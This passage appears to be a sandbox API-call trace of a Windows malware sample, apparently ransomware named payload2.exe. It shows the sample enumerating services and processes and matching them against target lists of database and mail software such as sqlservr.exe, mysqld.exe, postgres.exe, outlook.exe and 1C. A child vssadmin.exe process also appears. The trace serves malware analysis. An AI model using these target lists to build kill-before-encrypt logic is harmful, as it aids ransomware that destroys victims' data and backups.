[0033.203] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0033.203] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0033.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0033.204] lstrlenW (lpString="TrkWks") returned 6 [0033.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0033.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0033.204] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0033.204] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0033.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0033.204] lstrlenW (lpString="UxSms") returned 5 [0033.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0033.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0033.204] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0033.204] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0033.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0033.204] lstrlenW (lpString="WdiServiceHost") returned 14 [0033.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0033.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0033.204] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0033.204] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0033.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0033.204] lstrlenW (lpString="WdiSystemHost") returned 13 [0033.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0033.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0033.204] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0033.204] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0033.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0033.204] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0033.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0033.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0033.204] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0033.204] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0033.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0033.204] lstrlenW (lpString="Winmgmt") returned 7 [0033.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0033.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0033.205] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0033.205] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0033.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0033.205] lstrlenW (lpString="WPDBusEnum") returned 10 [0033.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0033.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0033.205] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0033.205] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0033.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0033.205] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x39206f0 | out: hHeap=0x220000) returned 1 [0033.205] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x160 [0033.207] Process32FirstW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0033.208] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0033.209] lstrlenW (lpString="System") returned 6 [0033.209] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0033.209] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0033.209] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0033.209] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0033.209] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0033.209] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0033.209] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0033.209] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0033.209] lstrlenW (lpString="smss.exe") returned 8 [0033.209] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0033.210] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0033.210] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0033.210] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0033.210] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0033.210] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0033.210] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0033.210] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0033.210] lstrlenW (lpString="csrss.exe") returned 9 [0033.210] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0033.210] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0033.210] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0033.210] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0033.210] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0033.210] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0033.211] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0033.211] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0033.211] lstrlenW (lpString="wininit.exe") returned 11 [0033.211] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0033.211] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0033.211] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0033.211] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0033.211] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0033.211] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0033.211] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0033.211] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0033.212] lstrlenW (lpString="csrss.exe") returned 9 [0033.212] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0033.212] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0033.212] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0033.212] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0033.212] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0033.212] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0033.212] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0033.213] lstrlenW (lpString="winlogon.exe") returned 12 [0033.213] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0033.214] lstrlenW (lpString="services.exe") returned 12 [0033.214] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0033.214] lstrlenW (lpString="lsass.exe") returned 9 [0033.214] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0033.215] lstrlenW (lpString="lsm.exe") returned 7 [0033.215] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0033.216] lstrlenW (lpString="svchost.exe") returned 11 [0033.216] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0033.216] lstrlenW (lpString="svchost.exe") returned 11 [0033.216] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0033.217] lstrlenW (lpString="svchost.exe") returned 11 [0033.217] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0033.218] lstrlenW (lpString="svchost.exe") returned 11 [0033.218] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0033.218] lstrlenW (lpString="svchost.exe") returned 11 [0033.218] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0033.219] lstrlenW (lpString="audiodg.exe") returned 11 [0033.219] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0033.220] lstrlenW (lpString="svchost.exe") returned 11 [0033.220] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0033.220] lstrlenW (lpString="svchost.exe") returned 11 [0033.220] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0033.221] lstrlenW (lpString="dwm.exe") returned 7 [0033.221] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0033.222] lstrlenW (lpString="explorer.exe") returned 12 [0033.222] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0033.222] lstrlenW (lpString="spoolsv.exe") returned 11 [0033.222] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0033.224] lstrlenW (lpString="taskhost.exe") returned 12 [0033.224] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0033.224] lstrlenW (lpString="svchost.exe") returned 11 [0033.224] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0033.225] lstrlenW (lpString="taskeng.exe") returned 11 [0033.225] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0033.226] lstrlenW (lpString="taskhost.exe") returned 12 [0033.226] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="presidential.exe")) returned 1 [0033.226] lstrlenW (lpString="presidential.exe") returned 16 [0033.226] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ol-filing.exe")) returned 1 [0033.227] lstrlenW (lpString="ol-filing.exe") returned 13 [0033.227] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="overcome.exe")) returned 1 [0033.228] lstrlenW (lpString="overcome.exe") returned 12 [0033.228] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="declinedreferral.exe")) returned 1 [0033.228] lstrlenW (lpString="declinedreferral.exe") returned 20 [0033.228] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="franciscotrack.exe")) returned 1 [0033.229] lstrlenW (lpString="franciscotrack.exe") returned 18 [0033.229] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nicholas.exe")) returned 1 [0033.229] lstrlenW (lpString="nicholas.exe") returned 12 [0033.229] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asbestosauthentication.exe")) returned 1 [0033.230] lstrlenW (lpString="asbestosauthentication.exe") returned 26 [0033.230] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="word.exe")) returned 1 [0033.231] lstrlenW (lpString="word.exe") returned 8 [0033.231] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="semestermeta.exe")) returned 1 [0033.259] lstrlenW (lpString="semestermeta.exe") returned 16 [0033.259] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reflects.exe")) returned 1 [0033.259] lstrlenW (lpString="reflects.exe") returned 12 [0033.259] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="beveragesradios.exe")) returned 1 [0033.260] lstrlenW (lpString="beveragesradios.exe") returned 19 [0033.260] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shaved_extraordinary.exe")) returned 1 [0033.261] lstrlenW (lpString="shaved_extraordinary.exe") returned 24 [0033.261] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ground.exe")) returned 1 [0033.261] lstrlenW (lpString="ground.exe") returned 10 [0033.261] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="least.exe")) returned 1 [0033.262] lstrlenW (lpString="least.exe") returned 9 [0033.262] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="meetings.exe")) returned 1 [0033.263] lstrlenW (lpString="meetings.exe") returned 12 [0033.263] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wooltestimony.exe")) returned 1 [0033.263] lstrlenW (lpString="wooltestimony.exe") returned 17 [0033.263] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="inexpensive.exe")) returned 1 [0033.264] lstrlenW (lpString="inexpensive.exe") returned 15 [0033.264] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="er-amd.exe")) returned 1 [0033.265] lstrlenW (lpString="er-amd.exe") returned 10 [0033.265] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="abandoned_frames.exe")) returned 1 [0033.265] lstrlenW (lpString="abandoned_frames.exe") returned 20 [0033.265] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0033.266] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0033.266] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0033.266] lstrlenW (lpString="mobsync.exe") returned 11 [0033.266] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0033.267] lstrlenW (lpString="dllhost.exe") returned 11 [0033.267] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0033.268] lstrlenW (lpString="dllhost.exe") returned 11 [0033.268] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1 [0033.268] lstrlenW (lpString="payload2.exe") returned 12 [0033.268] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0033.269] lstrlenW (lpString="cmd.exe") returned 7 [0033.269] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0033.270] lstrlenW (lpString="conhost.exe") returned 11 [0033.270] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x940, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0033.271] lstrlenW (lpString="vssadmin.exe") returned 12 [0033.271] Process32NextW (in: hSnapshot=0x160, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x940, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0033.271] CloseHandle (hObject=0x160) returned 1 [0033.272] Sleep (dwMilliseconds=0x1f4) [0034.497] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x29fbf0 [0034.497] EnumServicesStatusExW (in: hSCManager=0x29fbf0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, 